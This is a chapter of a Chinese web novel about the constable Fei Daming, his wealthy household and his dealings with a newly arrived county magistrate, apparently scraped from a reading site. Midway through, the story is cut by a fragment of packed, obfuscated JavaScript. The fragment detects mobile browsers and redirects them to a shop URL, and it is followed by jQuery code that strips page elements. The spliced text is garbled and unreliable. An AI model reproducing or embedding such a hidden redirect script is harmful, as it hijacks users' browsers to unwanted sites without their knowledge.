吴巨城许宅。
天色微亮,朝阳从地面跃出,将红光撒下,落在被磨平的青石板上,一层层四周散开,打在中心处练武使棍的人身上。
他仅穿着一条单薄黑裤,赤着遒劲的上半身,手中长刀挥舞,破开稀薄的空气,传来阵阵声响。一刀又一刀,直到完整的刀法挥舞完全,他浑身上下也湿淋淋的,豆大的汗水淌下,汇聚在光滑的地面。
砰一声,长刀杵地,费大鸣拖着刀放到一旁的武器架子上,拿起毛巾擦着脸上的汗,就这么离开这边的练武区,朝着后院走去。
院子里,丫鬟来来往往,后门出采购的车马声不断。
林嬷嬷从另一头走来,看着他光着身子大步啷当的模样,笑眯眯打趣:“姑爷早,今个倒是难得见到您了。”
费大鸣下意识收了腿站直一点:“太热了,我先凉一下再沐浴,不然容易风寒。”
林嬷嬷笑:“我又没说什么,后厨饭已经弄好了,夫人还没醒,姑爷先吃吧,免得冷了不好吃。”
林嬷嬷是看着许颐和长大的,几十年都在各个大家族里来回,那一身气度是许多富贵人家夫人都及不上的。
费大鸣就很唬她,看着她有种面对岳母的心虚感,即便成婚几年了还是会紧张,尤其是人为什么还没起来,也得怪他昨晚上……
他尴尬一笑:“我知道了嬷嬷,我一会儿手脚轻点,别吵醒了颐颐。”
林嬷嬷夸:“姑爷体贴。”
费大鸣总觉得她在说反话,讪讪笑了笑,就迈着小步子快速离开这边,去吃饭的饭堂去了。家里好几个院子,待客的、吃饭的、自己住的……
他刚开始还不习惯,现在习惯了也不觉得麻烦吧,溜溜过去,那边丫鬟已经端着饭菜过来了,完全不用她喊,都是掐着点送来的。
想他费大鸣,三岁丧母,五岁流浪,十五岁改邪归正,后面一直矜矜业业,靠着自己,那一辈子也过不上这种好日子啊。
嘶,还是他媳妇儿厉害。
这软饭,真好吃啊。
费大鸣吃着新鲜的鸡汤面,啃着大猪肘子,只觉得生活不能再美好了,就是这味道有些熟悉,他砸吧砸吧好一会儿,才回过味。
“哎书姐来过?”
小丫鬟应声:“昨日来的,秦娘子和奇少爷妙小姐都来了,难得歇了一会儿,吃了午饭走的。姑爷忙,就没有叫您。”
费大鸣觉得不对味,嘟囔:“这姐们到底是谁的朋友啊,啧,难得进城一次也不晓得等等我,没良心。”
小丫鬟低着眉没接话。
费大鸣啧啧几下,想了想后面的安排,思索着哪天得抽个时间去看看她,也撑撑场子,免得有那些不长眼的人凑上去。三两下把饭吃完,他回去简单洗漱,穿上当值的衙役衣服,带着刀和一些干粮出门了。
七八月正是收粮的好时候,又有七夕、七月半,挨着中秋,比一般时候要忙一些。
他们衙役不算正经官职,身上的事情也多,大到杀人、科考,小到鸡毛蒜皮的吵架偷饼,都得处理。每隔三天要开衙审事一次,每两日要负责巡逻,每一旬要查商……
费大鸣是衙役头头,那些小事不用他来弄,但是安排上总是少不了的,尤其是现在刚刚换了县令,人年轻事多来头还打,要看这看那问东问西。
“班头,县令让你一会儿把去年的粮税记录,还有兵役劳役的册子找出来给他。”
费大鸣刚一到衙门,就有小弟过来通知,他没好气的摆了摆手:“赵县丞呢?这些文是不该是他来吗?”
小弟尴尬挠头:“那我也不知道,县太爷就是这么说的。”
费大鸣瞪眼:“他说什么就是什么啊?他刚做官不知道,你不知道多说两句吗?一天天什么事都找我,是要累死我是吧?”
小弟讪讪:“下次,下次我一定记得。”
费大鸣嫌弃,走过去踹了人屁股一脚,还是大步流星跑去干活了。
流水的县令铁打的衙役,奈何这届县令是打铁的,他媳妇儿说了,人来头不小,让他好好做就好。但是具体是什么来头,她也不说。
费大鸣只能一边嫌弃烦躁,一边干活。
县衙的资料库很大,里面放着几十年的资料,乱七八糟的,往日都是老县丞负责的,但是那老头前两年退休了,由他儿子接手,本来就说不上整齐的在资料库更是乱七八糟的了。
费大鸣看不下去,把秦齐找过来帮忙整理,两年下来,他们俩倒成了对这边最熟悉的人了。他一边找资料,一边骂骂咧咧。
“不会干早点滚,把位置让给我麒麒算了。”
一段时间没来,怎么又弄得乱七八糟了,都是些废物。
好半天才把资料找出来,他拎着一筐的书册朝着县令的办公室走去,前脚还骂骂咧咧,后脚一跨进去,就变了个脸,乐呵呵的。
“江县令,去年的粮税和劳役没都在这里了,除了这个,我还拿了三年前闹冰雹,和还有十年内税收最高和最低的册子,您自己慢慢看。”
新县令叫江明舟,今天二十一,瘦瘦高高,温和斯文,看着倒是很好相处和糊弄,但是实际上,就看他一来就做的东西,就知道是不是个好糊弄的。
他坐在位置上,看着费大鸣拿得齐整,眸光一闪,有些意外:“辛苦费班头了。”
费班头乐呵呵:“哪有哪有,这些册子多,一时半会儿也看不完,有什么江县令也可以先问我,我从小在县里长大,大致都记得。”
他倒是没体贴到这个地步,但是秦齐整理的时候东西都放到一起了,他干脆就一起拿过来了。
“我先看看,费班头坐着吧,前段时间忙着熟悉事物,都没时间大家伙吃顿饭。你看看哪天方便,我坐庄请大家吃一顿。”江县令笑着调侃,“不过依我的俸禄,也只能选个味道好的小酒楼,委屈大家了。”
费班头懂了,看资料是假,拉近乎是真的。
他也笑:“江县令客气了,说什么酒楼,您就去老羊酒铺买两坛子酒,就着花生米,大家唯你马首是瞻。”
江明舟失笑,嘴上说着客气话,手上拿起去年的税报一翻,话音一顿,神色看起来也深了几分。
费大鸣紧张:“怎么了?有什么问题?”
江明舟失笑,随即带着些感叹,夸赞:“这可太有问题了,这册子是赵县丞记录的吗?失敬失敬,我竟没看出他还有如此才华。”
这记录一目了然,地区、月份、数量、负责人一目了然,他还是第一次见这般明了的记录。
费大鸣松了口气,又忍不住有些骄傲:“哪里能啊,这是我干儿子弄的,就赵县丞那榆木脑袋,给他一百年也弄不出来。”
江明舟意外:“费班头的干儿子?可也在衙门当值?”
费大鸣挠头:“那没有,麒麒今年才十三,还在书院读书,我看着太乱了让他过来帮忙整理的。”
江明舟更意外了:“十三?”
费大鸣骄傲:“可不是嘛,十三岁,麒麒可厉害了,是小神童咧,三岁就识字,五岁作诗,以后肯定能考个状元。”
江明舟失笑,看了看册子上的字迹,若有所思。
十三岁啊。
他在这边少说要待三五年,不说考起状元,就是能考起个进士,对他的政绩也很好看。
江明舟心念一转,将此事先行记下,打算等后续再来。他转过话题,又开始问着费大鸣其他的事情。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576688|187137||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>县里的世家分布、以往乱七八糟的失误、很有名气的人……
他自然不会直接问,只言片语也能分布。
费大鸣知道他来头大,看着也是个务实的,乐得给他人情,也不藏着掖着,问什么回答什么。
两个人相谈甚欢。
“噔噔噔。”
敲门声打断了两人的谈话,是之前通知费大鸣的小衙役。
这小子是孤儿,吃百家饭长大的,叫王平,今年也不过十六岁,瘦瘦小小,人也不太机灵,去年有一次他们抓人,这小子帮了大忙,他们见他有胆量又老实,就把人招进来了,大部分时间处理杂事。
偶尔背背锅。
王平喊:“费班头,有人找你。”
费大鸣不悦,在心里骂了他一句蠢货,没好气道:“没看到我和县令谈事吗?让他们等着。”
王平哦了一声:“知道了。”
费大鸣冲着江明舟解释了一下人的身世,道:“县令大人别和他小子计较。”
江明舟笑:“怎么会,衙里这般,也说明大家伙是真的为百姓做事,知道百姓之苦,我开心还来不及呢。”
虽然可能是客套话,但是费大鸣还是很喜欢听这些话的。
那不可是嘛,别的地方不说,反正他们吴巨县的这些个衙役,没谁身上没挨过两刀,平日也从来不欺负平民百姓,把县里管理得井井有条,兄弟伙都好着呢。
费大鸣说着,门口又传来敲门声。
王平瑟瑟缩缩的声音又传来:“班头,你要不要出来看看?是秦娘子和麒麒他们,好像有正事。”
“臭小子,不会早点说啊。”费大鸣低咒一声,恼着起身,出去没忍住又踹了这笨蛋一脚,转身正要说话。
江明舟已经起身了,和气道:“先去看看吧,别是出什么事了。”
没点事,外面的人应该也不会让人再三过来。
刚好,他也想看看能弄出这般新颖明了记录的小天才。
费大鸣没有客气,转过身就大步朝着外面走去,步伐匆匆,看得出来,和来人关系是很好的那种。
“书姐,麒麒猫猫,出什么事了?”费大鸣大步跑了过来,一来就看到没个人样的冯二狗,眉头一皱,“这狗东西又干什么了?我帮你砍了他。”
冯二狗一屁股坐地上,往后挪:“我的娘咧,我二狗清清白白的,秦二娘你可不能恩将仇报。”
费大鸣一脚踹了过去:“恩你爹的恩,还在老子面前装起来了,好就没收拾你了是不是?”
冯二狗憋屈,赶紧往秦书那边躲,这个好歹还讲点理。
秦书站了起来,面色并不算好,但也没有直说,侧了侧头,示意:“去里面说吧。”
一直好奇等着的秦妙秦齐:……
“别啊,娘,跟我们也说说啊。”秦妙趴一下蹲在地上,抱住她娘的腿,耍赖,“就让我们听听吧,我和麒麒都长大了。”
秦齐没她这么厚脸皮,但也是跟着道:“是啊,娘,这事跟我们有关系,你不和我们说,以后再碰到了怎么办?”
秦书紧紧皱眉,看着两个崽,脸色一下比一下难看,很不情愿说,但秦齐的话也说道心坎里,让她有些犹豫起来。
费大鸣摸不捉头脑,但知道肯定是出事了,也有些着急:“到底怎么回事,你快说啊。”
秦书黑着脸,也沉浸在烦躁之中。
一时之间,在场那么多人,竟然都没有注意在场最该注意到的县太爷。
江明舟也没有注意,他缓缓出来,看着面前两个格外机灵漂亮的小孩,有一瞬间的恍然,他忍不住揉了揉眼,再仔细一看,更是惊愕。
这,这,长得怎么那么像那位啊。